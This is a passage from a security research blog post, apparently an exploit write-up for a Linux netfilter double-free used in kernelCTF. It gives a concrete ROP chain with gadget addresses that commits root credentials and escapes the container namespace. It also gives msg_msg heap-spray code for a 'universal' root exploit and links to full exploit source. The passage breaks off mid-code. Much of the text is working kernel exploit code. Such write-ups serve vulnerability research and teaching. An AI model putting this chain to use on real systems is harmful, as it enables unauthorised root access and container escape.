__RCU_READ_UNLOCK;\n",{"type":20,"tag":219,"props":54964,"children":54966},{"id":54965},"rop",[54967],{"type":26,"value":54622},{"type":20,"tag":29,"props":54969,"children":54970},{},[54971],{"type":26,"value":54972},"Most of the ROP chain to escape the container as root is business as usual:",{"type":20,"tag":15089,"props":54974,"children":54975},{},[54976,54987,54998],{"type":20,"tag":72,"props":54977,"children":54978},{},[54979,54985],{"type":20,"tag":119,"props":54980,"children":54982},{"className":54981},[],[54983],{"type":26,"value":54984},"commit_creds(&init_cred);",{"type":26,"value":54986}," Commit root credentials to our process",{"type":20,"tag":72,"props":54988,"children":54989},{},[54990,54996],{"type":20,"tag":119,"props":54991,"children":54993},{"className":54992},[],[54994],{"type":26,"value":54995},"task = find_task_by_vpid(1);",{"type":26,"value":54997}," Find the root process of our namespace",{"type":20,"tag":72,"props":54999,"children":55000},{},[55001,55007],{"type":20,"tag":119,"props":55002,"children":55004},{"className":55003},[],[55005],{"type":26,"value":55006},"switch_task_namespaces(task, &init_nsproxy);",{"type":26,"value":55008}," Move it to the root namespace",{"type":20,"tag":29,"props":55010,"children":55011},{},[55012,55014,55020,55022,55028,55030,55036,55038,55044,55046,55051,55053,55059],{"type":26,"value":55013},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":20,"tag":119,"props":55015,"children":55017},{"className":55016},[],[55018],{"type":26,"value":55019},"find_task_by_vpid(1)",{"type":26,"value":55021}," passed through ",{"type":20,"tag":119,"props":55023,"children":55025},{"className":55024},[],[55026],{"type":26,"value":55027},"rax",{"type":26,"value":55029}," to ",{"type":20,"tag":119,"props":55031,"children":55033},{"className":55032},[],[55034],{"type":26,"value":55035},"rdi",{"type":26,"value":55037},". What I ended up going with was a ",{"type":20,"tag":119,"props":55039,"children":55041},{"className":55040},[],[55042],{"type":26,"value":55043},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":26,"value":55045}," gadget, that allowed me to push the ",{"type":20,"tag":119,"props":55047,"children":55049},{"className":55048},[],[55050],{"type":26,"value":55027},{"type":26,"value":55052}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":20,"tag":119,"props":55054,"children":55056},{"className":55055},[],[55057],{"type":26,"value":55058},"pop rdi; ret",{"type":26,"value":55060}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":20,"tag":15089,"props":55062,"children":55063},{},[55064,55069,55082],{"type":20,"tag":72,"props":55065,"children":55066},{},[55067],{"type":26,"value":55068},"We push the value onto the stack (stack pointer regresses)",{"type":20,"tag":72,"props":55070,"children":55071},{},[55072,55074,55080],{"type":26,"value":55073},"We jump to our \"trampoline\" gadget (",{"type":20,"tag":119,"props":55075,"children":55077},{"className":55076},[],[55078],{"type":26,"value":55079},"pop rdi; ret;",{"type":26,"value":55081}," location)",{"type":20,"tag":72,"props":55083,"children":55084},{},[55085,55090],{"type":20,"tag":119,"props":55086,"children":55088},{"className":55087},[],[55089],{"type":26,"value":55058},{"type":26,"value":55091}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":20,"tag":305,"props":55093,"children":55095},{"className":27525,"code":55094,"language":27527,"meta":7,"style":7},"[...]\n // commit_creds(&init_cred);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = kaslr_slide + INIT_CRED;\n rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n // task = find_task_by_vpid(1);\n rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n rop[pos++] = 1;\n rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = obj_ptr + 0xe0 - 0x66; // rax -> rdi and resume rop\n rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n // switch_task_namespaces(task, &init_nsproxy);\n rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n rop[pos++] = kaslr_slide + INIT_NSPROXY;\n rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[55096],{"type":20,"tag":119,"props":55097,"children":55098},{"__ignoreMap":7},[55099,55106,55123,55168,55204,55240,55247,55255,55298,55329,55365,55410,55465,55510,55517,55525,55568,55604,55640],{"type":20,"tag":315,"props":55100,"children":55101},{"class":317,"line":318},[55102],{"type":20,"tag":315,"props":55103,"children":55104},{"style":328},[55105],{"type":26,"value":8718},{"type":20,"tag":315,"props":55107,"children":55108},{"class":317,"line":356},[55109,55114,55119],{"type":20,"tag":315,"props":55110,"children":55111},{"style":328},[55112],{"type":26,"value":55113}," // commit_creds(&",{"type":20,"tag":315,"props":55115,"children":55116},{"style":635},[55117],{"type":26,"value":55118},"init_cred",{"type":20,"tag":315,"props":55120,"children":55121},{"style":328},[55122],{"type":26,"value":2214},{"type":20,"tag":315,"props":55124,"children":55125},{"class":317,"line":365},[55126,55130,55134,55138,55142,55146,55150,55154,55159,55163],{"type":20,"tag":315,"props":55127,"children":55128},{"style":635},[55129],{"type":26,"value":54422},{"type":20,"tag":315,"props":55131,"children":55132},{"style":328},[55133],{"type":26,"value":54937},{"type":20,"tag":315,"props":55135,"children":55136},{"style":334},[55137],{"type":26,"value":49521},{"type":20,"tag":315,"props":55139,"children":55140},{"style":328},[55141],{"type":26,"value":7057},{"type":20,"tag":315,"props":55143,"children":55144},{"style":334},[55145],{"type":26,"value":337},{"type":20,"tag":315,"props":55147,"children":55148},{"style":328},[55149],{"type":26,"value":54443},{"type":20,"tag":315,"props":55151,"children":55152},{"style":334},[55153],{"type":26,"value":817},{"type":20,"tag":315,"props":55155,"children":55156},{"style":765},[55157],{"type":26,"value":55158}," 0xffffffff8112c7c0",{"type":20,"tag":315,"props":55160,"children":55161},{"style":328},[55162],{"type":26,"value":47325},{"type":20,"tag":315,"props":55164,"children":55165},{"style":1071},[55166],{"type":26,"value":55167}," // pop rdi; ret;\n",{"type":20,"tag":315,"props":55169,"children":55170},{"class":317,"line":374},[55171,55175,55179,55183,55187,55191,55195,55199],{"type":20,"tag":315,"props":55172,"children":55173},{"style":635},[55174],{"type":26,"value":54422},{"type":20,"tag":315,"props":55176,"children":55177},{"style":328},[55178],{"type":26,"value":54937},{"type":20,"tag":315,"props":55180,"children":55181},{"style":334},[55182],{"type":26,"value":49521},{"type":20,"tag":315,"props":55184,"children":55185},{"style":328},[55186],{"type":26,"value":7057},{"type":20,"tag":315,"props":55188,"children":55189},{"style":334},[55190],{"type":26,"value":337},{"type":20,"tag":315,"props":55192,"children":55193},{"style":328},[55194],{"type":26,"value":54443},{"type":20,"tag":315,"props":55196,"children":55197},{"style":334},[55198],{"type":26,"value":817},{"type":20,"tag":315,"props":55200,"children":55201},{"style":328},[55202],{"type":26,"value":55203}," INIT_CRED;\n",{"type":20,"tag":315,"props":55205,"children":55206},{"class":317,"line":383},[55207,55211,55215,55219,55223,55227,55231,55235],{"type":20,"tag":315,"props":55208,"children":55209},{"style":635},[55210],{"type":26,"value":54422},{"type":20,"tag":315,"props":55212,"children":55213},{"style":328},[55214],{"type":26,"value":54937},{"type":20,"tag":315,"props":55216,"children":55217},{"style":334},[55218],{"type":26,"value":49521},{"type":20,"tag":315,"props":55220,"children":55221},{"style":328},[55222],{"type":26,"value":7057},{"type":20,"tag":315,"props":55224,"children":55225},{"style":334},[55226],{"type":26,"value":337},{"type":20,"tag":315,"props":55228,"children":55229},{"style":328},[55230],{"type":26,"value":54443},{"type":20,"tag":315,"props":55232,"children":55233},{"style":334},[55234],{"type":26,"value":817},{"type":20,"tag":315,"props":55236,"children":55237},{"style":328},[55238],{"type":26,"value":55239}," COMMIT_CREDS;\n",{"type":20,"tag":315,"props":55241,"children":55242},{"class":317,"line":407},[55243],{"type":20,"tag":315,"props":55244,"children":55245},{"emptyLinePlaceholder":15},[55246],{"type":26,"value":427},{"type":20,"tag":315,"props":55248,"children":55249},{"class":317,"line":421},[55250],{"type":20,"tag":315,"props":55251,"children":55252},{"style":1071},[55253],{"type":26,"value":55254}," // task = find_task_by_vpid(1);\n",{"type":20,"tag":315,"props":55256,"children":55257},{"class":317,"line":430},[55258,55262,55266,55270,55274,55278,55282,55286,55290,55294],{"type":20,"tag":315,"props":55259,"children":55260},{"style":635},[55261],{"type":26,"value":54422},{"type":20,"tag":315,"props":55263,"children":55264},{"style":328},[55265],{"type":26,"value":54937},{"type":20,"tag":315,"props":55267,"children":55268},{"style":334},[55269],{"type":26,"value":49521},{"type":20,"tag":315,"props":55271,"children":55272},{"style":328},[55273],{"type":26,"value":7057},{"type":20,"tag":315,"props":55275,"children":55276},{"style":334},[55277],{"type":26,"value":337},{"type":20,"tag":315,"props":55279,"children":55280},{"style":328},[55281],{"type":26,"value":54443},{"type":20,"tag":315,"props":55283,"children":55284},{"style":334},[55285],{"type":26,"value":817},{"type":20,"tag":315,"props":55287,"children":55288},{"style":765},[55289],{"type":26,"value":55158},{"type":20,"tag":315,"props":55291,"children":55292},{"style":328},[55293],{"type":26,"value":47325},{"type":20,"tag":315,"props":55295,"children":55296},{"style":1071},[55297],{"type":26,"value":55167},{"type":20,"tag":315,"props":55299,"children":55300},{"class":317,"line":453},[55301,55305,55309,55313,55317,55321,55325],{"type":20,"tag":315,"props":55302,"children":55303},{"style":635},[55304],{"type":26,"value":54422},{"type":20,"tag":315,"props":55306,"children":55307},{"style":328},[55308],{"type":26,"value":54937},{"type":20,"tag":315,"props":55310,"children":55311},{"style":334},[55312],{"type":26,"value":49521},{"type":20,"tag":315,"props":55314,"children":55315},{"style":328},[55316],{"type":26,"value":7057},{"type":20,"tag":315,"props":55318,"children":55319},{"style":334},[55320],{"type":26,"value":337},{"type":20,"tag":315,"props":55322,"children":55323},{"style":765},[55324],{"type":26,"value":2916},{"type":20,"tag":315,"props":55326,"children":55327},{"style":328},[55328],{"type":26,"value":1405},{"type":20,"tag":315,"props":55330,"children":55331},{"class":317,"line":486},[55332,55336,55340,55344,55348,55352,55356,55360],{"type":20,"tag":315,"props":55333,"children":55334},{"style":635},[55335],{"type":26,"value":54422},{"type":20,"tag":315,"props":55337,"children":55338},{"style":328},[55339],{"type":26,"value":54937},{"type":20,"tag":315,"props":55341,"children":55342},{"style":334},[55343],{"type":26,"value":49521},{"type":20,"tag":315,"props":55345,"children":55346},{"style":328},[55347],{"type":26,"value":7057},{"type":20,"tag":315,"props":55349,"children":55350},{"style":334},[55351],{"type":26,"value":337},{"type":20,"tag":315,"props":55353,"children":55354},{"style":328},[55355],{"type":26,"value":54443},{"type":20,"tag":315,"props":55357,"children":55358},{"style":334},[55359],{"type":26,"value":817},{"type":20,"tag":315,"props":55361,"children":55362},{"style":328},[55363],{"type":26,"value":55364}," FIND_TASK_BY_VPID;\n",{"type":20,"tag":315,"props":55366,"children":55367},{"class":317,"line":499},[55368,55372,55376,55380,55384,55388,55392,55396,55401,55405],{"type":20,"tag":315,"props":55369,"children":55370},{"style":635},[55371],{"type":26,"value":54422},{"type":20,"tag":315,"props":55373,"children":55374},{"style":328},[55375],{"type":26,"value":54937},{"type":20,"tag":315,"props":55377,"children":55378},{"style":334},[55379],{"type":26,"value":49521},{"type":20,"tag":315,"props":55381,"children":55382},{"style":328},[55383],{"type":26,"value":7057},{"type":20,"tag":315,"props":55385,"children":55386},{"style":334},[55387],{"type":26,"value":337},{"type":20,"tag":315,"props":55389,"children":55390},{"style":328},[55391],{"type":26,"value":54443},{"type":20,"tag":315,"props":55393,"children":55394},{"style":334},[55395],{"type":26,"value":817},{"type":20,"tag":315,"props":55397,"children":55398},{"style":765},[55399],{"type":26,"value":55400}," 0xffffffff8102e2a6",{"type":20,"tag":315,"props":55402,"children":55403},{"style":328},[55404],{"type":26,"value":47325},{"type":20,"tag":315,"props":55406,"children":55407},{"style":1071},[55408],{"type":26,"value":55409}," // pop rsi; ret;\n",{"type":20,"tag":315,"props":55411,"children":55412},{"class":317,"line":513},[55413,55417,55421,55425,55429,55433,55438,55442,55447,55451,55456,55460],{"type":20,"tag":315,"props":55414,"children":55415},{"style":635},[55416],{"type":26,"value":54422},{"type":20,"tag":315,"props":55418,"children":55419},{"style":328},[55420],{"type":26,"value":54937},{"type":20,"tag":315,"props":55422,"children":55423},{"style":334},[55424],{"type":26,"value":49521},{"type":20,"tag":315,"props":55426,"children":55427},{"style":328},[55428],{"type":26,"value":7057},{"type":20,"tag":315,"props":55430,"children":55431},{"style":334},[55432],{"type":26,"value":337},{"type":20,"tag":315,"props":55434,"children":55435},{"style":328},[55436],{"type":26,"value":55437}," obj_ptr ",{"type":20,"tag":315,"props":55439,"children":55440},{"style":334},[55441],{"type":26,"value":817},{"type":20,"tag":315,"props":55443,"children":55444},{"style":765},[55445],{"type":26,"value":55446}," 0xe0",{"type":20,"tag":315,"props":55448,"children":55449},{"style":334},[55450],{"type":26,"value":49507},{"type":20,"tag":315,"props":55452,"children":55453},{"style":765},[55454],{"type":26,"value":55455}," 0x66",{"type":20,"tag":315,"props":55457,"children":55458},{"style":328},[55459],{"type":26,"value":47325},{"type":20,"tag":315,"props":55461,"children":55462},{"style":1071},[55463],{"type":26,"value":55464}," // rax -> rdi and resume rop\n",{"type":20,"tag":315,"props":55466,"children":55467},{"class":317,"line":521},[55468,55472,55476,55480,55484,55488,55492,55496,55501,55505],{"type":20,"tag":315,"props":55469,"children":55470},{"style":635},[55471],{"type":26,"value":54422},{"type":20,"tag":315,"props":55473,"children":55474},{"style":328},[55475],{"type":26,"value":54937},{"type":20,"tag":315,"props":55477,"children":55478},{"style":334},[55479],{"type":26,"value":49521},{"type":20,"tag":315,"props":55481,"children":55482},{"style":328},[55483],{"type":26,"value":7057},{"type":20,"tag":315,"props":55485,"children":55486},{"style":334},[55487],{"type":26,"value":337},{"type":20,"tag":315,"props":55489,"children":55490},{"style":328},[55491],{"type":26,"value":54443},{"type":20,"tag":315,"props":55493,"children":55494},{"style":334},[55495],{"type":26,"value":817},{"type":20,"tag":315,"props":55497,"children":55498},{"style":765},[55499],{"type":26,"value":55500}," 0xffffffff81caed31",{"type":20,"tag":315,"props":55502,"children":55503},{"style":328},[55504],{"type":26,"value":47325},{"type":20,"tag":315,"props":55506,"children":55507},{"style":1071},[55508],{"type":26,"value":55509}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":20,"tag":315,"props":55511,"children":55512},{"class":317,"line":552},[55513],{"type":20,"tag":315,"props":55514,"children":55515},{"emptyLinePlaceholder":15},[55516],{"type":26,"value":427},{"type":20,"tag":315,"props":55518,"children":55519},{"class":317,"line":571},[55520],{"type":20,"tag":315,"props":55521,"children":55522},{"style":1071},[55523],{"type":26,"value":55524}," // switch_task_namespaces(task, &init_nsproxy);\n",{"type":20,"tag":315,"props":55526,"children":55527},{"class":317,"line":2031},[55528,55532,55536,55540,55544,55548,55552,55556,55560,55564],{"type":20,"tag":315,"props":55529,"children":55530},{"style":635},[55531],{"type":26,"value":54422},{"type":20,"tag":315,"props":55533,"children":55534},{"style":328},[55535],{"type":26,"value":54937},{"type":20,"tag":315,"props":55537,"children":55538},{"style":334},[55539],{"type":26,"value":49521},{"type":20,"tag":315,"props":55541,"children":55542},{"style":328},[55543],{"type":26,"value":7057},{"type":20,"tag":315,"props":55545,"children":55546},{"style":334},[55547],{"type":26,"value":337},{"type":20,"tag":315,"props":55549,"children":55550},{"style":328},[55551],{"type":26,"value":54443},{"type":20,"tag":315,"props":55553,"children":55554},{"style":334},[55555],{"type":26,"value":817},{"type":20,"tag":315,"props":55557,"children":55558},{"style":765},[55559],{"type":26,"value":55400},{"type":20,"tag":315,"props":55561,"children":55562},{"style":328},[55563],{"type":26,"value":47325},{"type":20,"tag":315,"props":55565,"children":55566},{"style":1071},[55567],{"type":26,"value":55409},{"type":20,"tag":315,"props":55569,"children":55570},{"class":317,"line":2053},[55571,55575,55579,55583,55587,55591,55595,55599],{"type":20,"tag":315,"props":55572,"children":55573},{"style":635},[55574],{"type":26,"value":54422},{"type":20,"tag":315,"props":55576,"children":55577},{"style":328},[55578],{"type":26,"value":54937},{"type":20,"tag":315,"props":55580,"children":55581},{"style":334},[55582],{"type":26,"value":49521},{"type":20,"tag":315,"props":55584,"children":55585},{"style":328},[55586],{"type":26,"value":7057},{"type":20,"tag":315,"props":55588,"children":55589},{"style":334},[55590],{"type":26,"value":337},{"type":20,"tag":315,"props":55592,"children":55593},{"style":328},[55594],{"type":26,"value":54443},{"type":20,"tag":315,"props":55596,"children":55597},{"style":334},[55598],{"type":26,"value":817},{"type":20,"tag":315,"props":55600,"children":55601},{"style":328},[55602],{"type":26,"value":55603}," INIT_NSPROXY;\n",{"type":20,"tag":315,"props":55605,"children":55606},{"class":317,"line":2061},[55607,55611,55615,55619,55623,55627,55631,55635],{"type":20,"tag":315,"props":55608,"children":55609},{"style":635},[55610],{"type":26,"value":54422},{"type":20,"tag":315,"props":55612,"children":55613},{"style":328},[55614],{"type":26,"value":54937},{"type":20,"tag":315,"props":55616,"children":55617},{"style":334},[55618],{"type":26,"value":49521},{"type":20,"tag":315,"props":55620,"children":55621},{"style":328},[55622],{"type":26,"value":7057},{"type":20,"tag":315,"props":55624,"children":55625},{"style":334},[55626],{"type":26,"value":337},{"type":20,"tag":315,"props":55628,"children":55629},{"style":328},[55630],{"type":26,"value":54443},{"type":20,"tag":315,"props":55632,"children":55633},{"style":334},[55634],{"type":26,"value":817},{"type":20,"tag":315,"props":55636,"children":55637},{"style":328},[55638],{"type":26,"value":55639}," SWITCH_TASK_NAMESPACES;\n",{"type":20,"tag":315,"props":55641,"children":55642},{"class":317,"line":2070},[55643],{"type":20,"tag":315,"props":55644,"children":55645},{"style":328},[55646],{"type":26,"value":8718},{"type":20,"tag":219,"props":55648,"children":55650},{"id":55649},"grabbing-the-kernelctf-flag",[55651],{"type":26,"value":55652},"Grabbing the kernelCTF flag",{"type":20,"tag":29,"props":55654,"children":55655},{},[55656,55660,55662,55669],{"type":20,"tag":2308,"props":55657,"children":55659},{"alt":48830,"src":55658},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":26,"value":55661},"\nYou can find the kernelCTF exploit in our ",{"type":20,"tag":35,"props":55663,"children":55666},{"href":55664,"rel":55665},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[39],[55667],{"type":26,"value":55668},"GitHub",{"type":26,"value":61},{"type":20,"tag":21,"props":55671,"children":55673},{"id":55672},"universal-exploit",[55674],{"type":26,"value":55675},"Universal exploit",{"type":20,"tag":29,"props":55677,"children":55678},{},[55679],{"type":26,"value":55680},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":20,"tag":219,"props":55682,"children":55684},{"id":55683},"pivot-capability-using-msg_msg-mlistnext-pointer",[55685],{"type":26,"value":55686},"Pivot capability using msg_msg->mlist.next pointer",{"type":20,"tag":29,"props":55688,"children":55689},{},[55690,55692,55698,55700,55705,55707,55713],{"type":26,"value":55691},"Using the double-free vulnerability we can overlap a ",{"type":20,"tag":119,"props":55693,"children":55695},{"className":55694},[],[55696],{"type":26,"value":55697},"msg_msg",{"type":26,"value":55699}," object with with ",{"type":20,"tag":119,"props":55701,"children":55703},{"className":55702},[],[55704],{"type":26,"value":53351},{"type":26,"value":55706}," and control the ",{"type":20,"tag":119,"props":55708,"children":55710},{"className":55709},[],[55711],{"type":26,"value":55712},"m_list.next",{"type":26,"value":55714}," pointer.",{"type":20,"tag":305,"props":55716,"children":55718},{"className":27525,"code":55717,"language":27527,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[55719],{"type":20,"tag":119,"props":55720,"children":55721},{"__ignoreMap":7},[55722,55730,55746,55767,55780,55798,55823,55839,55847,55854,55861,55869,55901],{"type":20,"tag":315,"props":55723,"children":55724},{"class":317,"line":318},[55725],{"type":20,"tag":315,"props":55726,"children":55727},{"style":1071},[55728],{"type":26,"value":55729},"/* one msg_msg structure for each message */\n",{"type":20,"tag":315,"props":55731,"children":55732},{"class":317,"line":356},[55733,55737,55742],{"type":20,"tag":315,"props":55734,"children":55735},{"style":541},[55736],{"type":26,"value":7800},{"type":20,"tag":315,"props":55738,"children":55739},{"style":322},[55740],{"type":26,"value":55741}," msg_msg",{"type":20,"tag":315,"props":55743,"children":55744},{"style":328},[55745],{"type":26,"value":1092},{"type":20,"tag":315,"props":55747,"children":55748},{"class":317,"line":365},[55749,55753,55758,55763],{"type":20,"tag":315,"props":55750,"children":55751},{"style":541},[55752],{"type":26,"value":19555},{"type":20,"tag":315,"props":55754,"children":55755},{"style":322},[55756],{"type":26,"value":55757}," list_head",{"type":20,"tag":315,"props":55759,"children":55760},{"style":635},[55761],{"type":26,"value":55762}," m_list",{"type":20,"tag":315,"props":55764,"children":55765},{"style":328},[55766],{"type":26,"value":1405},{"type":20,"tag":315,"props":55768,"children":55769},{"class":317,"line":374},[55770,55775],{"type":20,"tag":315,"props":55771,"children":55772},{"style":541},[55773],{"type":26,"value":55774}," long",{"type":20,"tag":315,"props":55776,"children":55777},{"style":328},[55778],{"type":26,"value":55779}," m_type;\n",{"type":20,"tag":315,"props":55781,"children":55782},{"class":317,"line":383},[55783,55788,55793],{"type":20,"tag":315,"props":55784,"children":55785},{"style":541},[55786],{"type":26,"value":55787}," size_t",{"type":20,"tag":315,"props":55789,"children":55790},{"style":328},[55791],{"type":26,"value":55792}," m_ts;",{"type":20,"tag":315,"props":55794,"children":55795},{"style":1071},[55796],{"type":26,"value":55797}," /* message text size */\n",{"type":20,"tag":315,"props":55799,"children":55800},{"class":317,"line":407},[55801,55805,55810,55814,55819],{"type":20,"tag":315,"props":55802,"children":55803},{"style":541},[55804],{"type":26,"value":19555},{"type":20,"tag":315,"props":55806,"children":55807},{"style":322},[55808],{"type":26,"value":55809}," msg_msgseg",{"type":20,"tag":315,"props":55811,"children":55812},{"style":541},[55813],{"type":26,"value":8216},{"type":20,"tag":315,"props":55815,"children":55816},{"style":635},[55817],{"type":26,"value":55818},"next",{"type":20,"tag":315,"props":55820,"children":55821},{"style":328},[55822],{"type":26,"value":1405},{"type":20,"tag":315,"props":55824,"children":55825},{"class":317,"line":421},[55826,55830,55834],{"type":20,"tag":315,"props":55827,"children":55828},{"style":541},[55829],{"type":26,"value":49301},{"type":20,"tag":315,"props":55831,"children":55832},{"style":334},[55833],{"type":26,"value":8216},{"type":20,"tag":315,"props":55835,"children":55836},{"style":328},[55837],{"type":26,"value":55838},"security;\n",{"type":20,"tag":315,"props":55840,"children":55841},{"class":317,"line":430},[55842],{"type":20,"tag":315,"props":55843,"children":55844},{"style":1071},[55845],{"type":26,"value":55846}," /* the actual message follows immediately */\n",{"type":20,"tag":315,"props":55848,"children":55849},{"class":317,"line":453},[55850],{"type":20,"tag":315,"props":55851,"children":55852},{"style":328},[55853],{"type":26,"value":14979},{"type":20,"tag":315,"props":55855,"children":55856},{"class":317,"line":486},[55857],{"type":20,"tag":315,"props":55858,"children":55859},{"style":328},[55860],{"type":26,"value":8718},{"type":20,"tag":315,"props":55862,"children":55863},{"class":317,"line":499},[55864],{"type":20,"tag":315,"props":55865,"children":55866},{"style":328},[55867],{"type":26,"value":55868},"struct list_head {\n",{"type":20,"tag":315,"props":55870,"children":55871},{"class":317,"line":513},[55872,55876,55880,55884,55888,55892,55896],{"type":20,"tag":315,"props":55873,"children":55874},{"style":541},[55875],{"type":26,"value":19555},{"type":20,"tag":315,"props":55877,"children":55878},{"style":322},[55879],{"type":26,"value":55757},{"type":20,"tag":315,"props":55881,"children":55882},{"style":541},[55883],{"type":26,"value":8216},{"type":20,"tag":315,"props":55885,"children":55886},{"style":635},[55887],{"type":26,"value":55818},{"type":20,"tag":315,"props":55889,"children":55890},{"style":328},[55891],{"type":26,"value":44},{"type":20,"tag":315,"props":55893,"children":55894},{"style":334},[55895],{"type":26,"value":901},{"type":20,"tag":315,"props":55897,"children":55898},{"style":328},[55899],{"type":26,"value":55900},"prev;\n",{"type":20,"tag":315,"props":55902,"children":55903},{"class":317,"line":521},[55904],{"type":20,"tag":315,"props":55905,"children":55906},{"style":328},[55907],{"type":26,"value":14979},{"type":20,"tag":29,"props":55909,"children":55910},{},[55911,55913,55919,55921,55926],{"type":26,"value":55912},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":20,"tag":119,"props":55914,"children":55916},{"className":55915},[],[55917],{"type":26,"value":55918},"mlist.next",{"type":26,"value":55920}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":20,"tag":119,"props":55922,"children":55924},{"className":55923},[],[55925],{"type":26,"value":55697},{"type":26,"value":55927}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":20,"tag":29,"props":55929,"children":55930},{},[55931,55933,55938,55940],{"type":26,"value":55932},"By incrementing the next pointer of our controllable ",{"type":20,"tag":119,"props":55934,"children":55936},{"className":55935},[],[55937],{"type":26,"value":55697},{"type":26,"value":55939}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":20,"tag":2308,"props":55941,"children":55943},{"alt":48830,"src":55942},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":20,"tag":305,"props":55945,"children":55947},{"className":27525,"code":55946,"language":27527,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[55948],{"type":20,"tag":119,"props":55949,"children":55950},{"__ignoreMap":7},[55951,55958,55966,55992,56009,56057,56064,56104,56136,56143,56164,56171,56218,56282,56308,56354,56378,56422,56429,56437,56473,56497,56504,56524,56531],{"type":20,"tag":315,"props":55952,"children":55953},{"class":317,"line":318},[55954],{"type":20,"tag":315,"props":55955,"children":55956},{"style":328},[55957],{"type":26,"value":8718},{"type":20,"tag":315,"props":55959,"children":55960},{"class":317,"line":356},[55961],{"type":20,"tag":315,"props":55962,"children":55963},{"style":328},[55964],{"type":26,"value":55965}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":20,"tag":315,"props":55967,"children":55968},{"class":317,"line":365},[55969,55974,55978,55982,55987],{"type":20,"tag":315,"props":55970,"children":55971},{"style":328},[55972],{"type":26,"value":55973}," msg_t *msg = calloc(1, ",{"type":20,"tag":315,"props":55975,"children":55976},{"style":322},[55977],{"type":26,"value":53580},{"type":20,"tag":315,"props":55979,"children":55980},{"style":328},[55981],{"type":26,"value":1049},{"type":20,"tag":315,"props":55983,"children":55984},{"style":322},[55985],{"type":26,"value":55986},"msg_t",{"type":20,"tag":315,"props":55988,"children":55989},{"style":328},[55990],{"type":26,"value":55991},") + 0xe8 - 48);\n",{"type":20,"tag":315,"props":55993,"children":55994},{"class":317,"line":374},[55995,55999,56004],{"type":20,"tag":315,"props":55996,"children":55997},{"style":541},[55998],{"type":26,"value":17481},{"type":20,"tag":315,"props":56000,"children":56001},{"style":635},[56002],{"type":26,"value":56003}," qid",{"type":20,"tag":315,"props":56005,"children":56006},{"style":328},[56007],{"type":26,"value":56008},"[SPRAY];\n",{"type":20,"tag":315,"props":56010,"children":56011},{"class":317,"line":383},[56012,56016,56020,56024,56028,56032,56036,56040,56044,56049,56053],{"type":20,"tag":315,"props":56013,"children":56014},{"style":525},[56015],{"type":26,"value":1413},{"type":20,"tag":315,"props":56017,"children":56018},{"style":328},[56019],{"type":26,"value":463},{"type":20,"tag":315,"props":56021,"children":56022},{"style":541},[56023],{"type":26,"value":17451},{"type":20,"tag":315,"props":56025,"children":56026},{"style":328},[56027],{"type":26,"value":52796},{"type":20,"tag":315,"props":56029,"children":56030},{"style":334},[56031],{"type":26,"value":337},{"type":20,"tag":315,"props":56033,"children":56034},{"style":765},[56035],{"type":26,"value":985},{"type":20,"tag":315,"props":56037,"children":56038},{"style":328},[56039],{"type":26,"value":49485},{"type":20,"tag":315,"props":56041,"children":56042},{"style":334},[56043],{"type":26,"value":4199},{"type":20,"tag":315,"props":56045,"children":56046},{"style":328},[56047],{"type":26,"value":56048}," SPRAY; 